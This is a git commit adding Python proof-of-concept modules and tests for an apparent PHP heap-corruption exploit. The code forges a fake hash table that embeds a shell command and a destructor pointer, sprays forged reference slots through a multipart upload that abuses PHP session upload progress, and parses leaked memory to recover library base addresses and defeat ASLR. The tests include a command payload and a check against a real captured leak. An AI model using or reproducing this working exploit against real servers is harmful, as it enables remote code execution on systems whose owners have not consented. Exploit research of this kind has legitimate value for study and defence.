feat(poc): forge primitives and leak parser with alignment-gated anchor selection
This commit is contained in:
@@ -0,0 +1,77 @@
|
||||
import struct
|
||||
|
||||
BOUNDARY = b"C" * 10
|
||||
|
||||
|
||||
def build_ht(htdata, zif, cmd, size=384):
|
||||
if len(cmd) > 0x160 - 0x98:
|
||||
raise ValueError("command too long for the 384-byte carrier")
|
||||
ht = bytearray(size)
|
||||
struct.pack_into("<II", ht, 0x00, 1, 7)
|
||||
struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)
|
||||
struct.pack_into("<Q", ht, 0x10, htdata + 0x20)
|
||||
struct.pack_into("<II", ht, 0x18, 1, 1)
|
||||
struct.pack_into("<II", ht, 0x20, 8, 0)
|
||||
struct.pack_into("<Q", ht, 0x28, 0)
|
||||
struct.pack_into("<Q", ht, 0x30, zif)
|
||||
e = 0x20
|
||||
struct.pack_into("<Q", ht, e + 0x00, 0)
|
||||
struct.pack_into("<Q", ht, e + 0x08, 0)
|
||||
struct.pack_into("<Q", ht, e + 0x10, zif)
|
||||
struct.pack_into("<Q", ht, e + 0x18, 0)
|
||||
struct.pack_into("<Q", ht, e + 0x20, 0)
|
||||
struct.pack_into("<I", ht, e + 0x28, 0)
|
||||
struct.pack_into("<I", ht, e + 0x2C, 1)
|
||||
struct.pack_into("<Q", ht, e + 0x30, 0)
|
||||
struct.pack_into("<Q", ht, e + 0x38, 0)
|
||||
struct.pack_into("<I", ht, e + 0x40, 0)
|
||||
struct.pack_into("<Q", ht, e + 0x50, htdata + 0x80)
|
||||
struct.pack_into("<I", ht, e + 0x58, 6)
|
||||
struct.pack_into("<II", ht, 0x80, 1, 0x106)
|
||||
struct.pack_into("<Q", ht, 0x88, 0)
|
||||
struct.pack_into("<Q", ht, 0x90, len(cmd))
|
||||
ht[0x98:0x98 + len(cmd)] = cmd
|
||||
ht[0x98 + len(cmd)] = 0
|
||||
return bytes(ht)
|
||||
|
||||
|
||||
def build_ref_slot(ptr, rc, val_type=0x0107):
|
||||
slot = bytearray(32)
|
||||
struct.pack_into("<I", slot, 0, rc)
|
||||
slot[4] = 0x0A
|
||||
struct.pack_into("<Q", slot, 8, ptr)
|
||||
struct.pack_into("<I", slot, 16, val_type)
|
||||
return bytes(slot)
|
||||
|
||||
|
||||
def _spray(vl, ptr, rc, val_type, ref_start, ref_step):
|
||||
v = bytearray(b"S" * vl)
|
||||
off = ref_start
|
||||
while off + 32 <= vl:
|
||||
v[off:off + 32] = build_ref_slot(ptr, rc, val_type)
|
||||
off += ref_step
|
||||
return bytes(v)
|
||||
|
||||
|
||||
def _name(prefix, i, nlen):
|
||||
return (prefix + ("%09d" % i).encode() + b"x" * nlen)[:nlen]
|
||||
|
||||
|
||||
def build_b2(cfg, ht_addr, ht, sid=b"a" * 32, progress=b"k0", boundary=BOUNDARY):
|
||||
spray = _spray(cfg["vl"], ht_addr, cfg["rc"], cfg.get("val_type", 0x0107),
|
||||
cfg.get("ref_start", 8), cfg.get("ref_step", 32))
|
||||
out = bytearray()
|
||||
|
||||
def part(name, value):
|
||||
out.extend(b"--" + boundary + b"\r\nContent-Disposition: form-data; name=\"" +
|
||||
name + b"\"\r\n\r\n" + value + b"\r\n")
|
||||
|
||||
for i in range(cfg["n1"]):
|
||||
part(_name(b"s", i, cfg["name_len"]), spray)
|
||||
part(b"ht", ht)
|
||||
part(b"PHPSESSID", sid)
|
||||
part(b"PHP_SESSION_UPLOAD_PROGRESS", progress)
|
||||
for i in range(cfg["n2"]):
|
||||
part(_name(b"t", i, cfg["name_len"]), spray)
|
||||
out.extend(b"--" + boundary + b"--\r\n")
|
||||
return bytes(out)
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
import struct
|
||||
from collections import Counter
|
||||
|
||||
|
||||
class LeakError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def qwords(buf, ptr_min, ptr_max):
|
||||
counts = Counter()
|
||||
for off in range(0, len(buf) - 7, 8):
|
||||
q = struct.unpack_from("<Q", buf, off)[0]
|
||||
if ptr_min <= q <= ptr_max:
|
||||
counts[q] += 1
|
||||
return counts
|
||||
|
||||
|
||||
def anchors(counts, prof, quorum):
|
||||
out = []
|
||||
for q, c in counts.items():
|
||||
if c < quorum:
|
||||
continue
|
||||
base = q - prof["dtor_offset"]
|
||||
if base <= 0 or base % 0x1000:
|
||||
continue
|
||||
out.append((q, c, base))
|
||||
out.sort(key=lambda t: (-t[1], t[0]))
|
||||
return out
|
||||
|
||||
|
||||
def classify(buf, prof, quorum=64):
|
||||
counts = qwords(buf, prof["ptr_min"], prof["ptr_max"])
|
||||
if not counts:
|
||||
raise LeakError("no heap pointers in leak window")
|
||||
cands = anchors(counts, prof, quorum)
|
||||
if not cands:
|
||||
raise LeakError("no page-aligned destructor anchor (quorum=%d)" % quorum)
|
||||
zdtor, n_dtor, lib = cands[0]
|
||||
|
||||
buckets = Counter()
|
||||
for q, c in counts.items():
|
||||
buckets[q & ~0x1FFFFF] += c
|
||||
lib_bucket = zdtor & ~0x1FFFFF
|
||||
id_bucket = buckets.most_common(1)[0][0]
|
||||
|
||||
main_cands = []
|
||||
for b, c in buckets.most_common():
|
||||
if b in (lib_bucket, id_bucket):
|
||||
continue
|
||||
delta = lib - b
|
||||
if not (prof["delta_min"] <= delta <= prof["delta_max"]):
|
||||
continue
|
||||
main_cands.append((b, c))
|
||||
if not main_cands:
|
||||
raise LeakError("no main-chunk candidate with plausible delta")
|
||||
main_cands.sort(key=lambda bc: (abs(bc[1] - prof["main_bucket_count"]), bc[1]))
|
||||
main, n_main = main_cands[0]
|
||||
|
||||
return {
|
||||
"decoded": len(buf),
|
||||
"zdtor": zdtor,
|
||||
"dtor_count": n_dtor,
|
||||
"lib": lib,
|
||||
"main": main,
|
||||
"main_bucket_count": n_main,
|
||||
"delta": lib - main,
|
||||
"buckets": [(b, c) for b, c in buckets.most_common(6)],
|
||||
"main_candidates": [b for b, _ in main_cands[:3]],
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
import struct
|
||||
import unittest
|
||||
|
||||
from poc import forge
|
||||
|
||||
|
||||
class ForgeTest(unittest.TestCase):
|
||||
def test_ht_layout(self):
|
||||
ht = forge.build_ht(0x7F0000000000, 0x7F0000A00000, b"id>/out/p1")
|
||||
self.assertEqual(len(ht), 384)
|
||||
self.assertEqual(struct.unpack_from("<II", ht, 0x00), (1, 7))
|
||||
self.assertEqual(struct.unpack_from("<Q", ht, 0x10)[0], 0x7F0000000000 + 0x20)
|
||||
self.assertEqual(struct.unpack_from("<Q", ht, 0x30)[0], 0x7F0000A00000)
|
||||
self.assertEqual(struct.unpack_from("<I", ht, 0x4C)[0], 1)
|
||||
self.assertEqual(struct.unpack_from("<Q", ht, 0x70)[0], 0x7F0000000000 + 0x80)
|
||||
self.assertEqual(struct.unpack_from("<I", ht, 0x78)[0], 6)
|
||||
self.assertEqual(ht[0x98:0x98 + 10], b"id>/out/p1")
|
||||
|
||||
def test_cmd_too_long_rejected(self):
|
||||
with self.assertRaises(ValueError):
|
||||
forge.build_ht(0, 0, b"A" * 500)
|
||||
|
||||
def test_ref_slot(self):
|
||||
slot = forge.build_ref_slot(0x7F0000000000, 1)
|
||||
self.assertEqual(len(slot), 32)
|
||||
self.assertEqual(struct.unpack_from("<I", slot, 0)[0], 1)
|
||||
self.assertEqual(slot[4], 0x0A)
|
||||
self.assertEqual(struct.unpack_from("<Q", slot, 8)[0], 0x7F0000000000)
|
||||
self.assertEqual(struct.unpack_from("<I", slot, 16)[0], 0x0107)
|
||||
|
||||
def test_b2_ordering(self):
|
||||
cfg = {"vl": 384, "n1": 3, "n2": 3, "rc": 1, "name_len": 10,
|
||||
"ref_start": 8, "ref_step": 32, "val_type": 0x0107}
|
||||
body = forge.build_b2(cfg, ht_addr=0x7F0000000000, ht=b"h" * 384)
|
||||
self.assertEqual(body.count(b"name=\"s000000000\""), 1)
|
||||
self.assertEqual(body.count(b"name=\"t000000000\""), 1)
|
||||
self.assertLess(body.index(b"name=\"ht\""), body.index(b"name=\"PHPSESSID\""))
|
||||
self.assertLess(body.index(b"name=\"PHPSESSID\""), body.index(b"name=\"t000000000\""))
|
||||
self.assertEqual(body.count(b"h" * 384), 1)
|
||||
|
||||
def test_b2_spray_density(self):
|
||||
cfg = {"vl": 384, "n1": 2, "n2": 0, "rc": 1, "name_len": 10,
|
||||
"ref_start": 8, "ref_step": 32, "val_type": 0x0107}
|
||||
body = forge.build_b2(cfg, ht_addr=0x1111111111110000, ht=b"h" * 384)
|
||||
self.assertEqual(body.count(struct.pack("<Q", 0x1111111111110000)), 2 * 11)
|
||||
@@ -0,0 +1,62 @@
|
||||
import os
|
||||
import struct
|
||||
import unittest
|
||||
|
||||
from poc import leak, profiles
|
||||
|
||||
_, PROF = profiles.select("51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c")
|
||||
CAP = os.path.join(os.path.dirname(__file__), "..", "research", "captures", "diag_decoded.bin")
|
||||
|
||||
|
||||
def synth(lib, main, idc, n_main=87, n_id=7495, n_dtor=1095, decoy=0):
|
||||
buf = bytearray()
|
||||
buf += b"\x00" * 64
|
||||
if decoy:
|
||||
buf += struct.pack("<Q", 0x0000001600000001) * decoy
|
||||
buf += struct.pack("<Q", lib + PROF["dtor_offset"]) * n_dtor
|
||||
buf += struct.pack("<Q", idc + 0x1234) * n_id
|
||||
buf += struct.pack("<Q", main + 0x1000) * n_main
|
||||
return bytes(buf)
|
||||
|
||||
|
||||
class LeakTest(unittest.TestCase):
|
||||
def test_recovers_both_bases(self):
|
||||
lib = 0x7D2700000000
|
||||
main = lib - 0x1E00000
|
||||
info = leak.classify(synth(lib, main, 0x7D2000000000), PROF)
|
||||
self.assertEqual(info["lib"], lib)
|
||||
self.assertEqual(info["main"], main)
|
||||
self.assertEqual(info["main_bucket_count"], 87)
|
||||
|
||||
def test_low_mmap_base_is_accepted(self):
|
||||
lib = 0x732700000000
|
||||
main = lib - 0x1E00000
|
||||
info = leak.classify(synth(lib, main, 0x732000000000), PROF)
|
||||
self.assertEqual(info["lib"], lib)
|
||||
|
||||
def test_decoy_outnumbers_dtor_and_is_rejected(self):
|
||||
lib = 0x7D2700000000
|
||||
main = lib - 0x1E00000
|
||||
info = leak.classify(synth(lib, main, 0x7D2000000000, decoy=4000), PROF)
|
||||
self.assertEqual(info["lib"], lib)
|
||||
|
||||
def test_rejects_implausible_delta(self):
|
||||
lib, main = 0x7D2700000000, 0x7D0000000000
|
||||
with self.assertRaises(leak.LeakError):
|
||||
leak.classify(synth(lib, main, 0x7D2000000000), PROF)
|
||||
|
||||
def test_no_pointer_raises(self):
|
||||
with self.assertRaises(leak.LeakError):
|
||||
leak.classify(b"\x00" * 4096, PROF)
|
||||
|
||||
@unittest.skipUnless(os.path.exists(CAP), "captured leak not present")
|
||||
def test_real_capture(self):
|
||||
with open(CAP, "rb") as fh:
|
||||
buf = fh.read()
|
||||
info = leak.classify(buf, PROF)
|
||||
self.assertEqual(info["decoded"], 819208)
|
||||
self.assertEqual(info["main_bucket_count"], 87)
|
||||
delta = info["lib"] - info["main"]
|
||||
self.assertGreaterEqual(delta, PROF["delta_min"])
|
||||
self.assertLessEqual(delta, PROF["delta_max"])
|
||||
self.assertEqual(info["lib"] % 0x1000, 0)
|
||||
Reference in New Issue
Block a user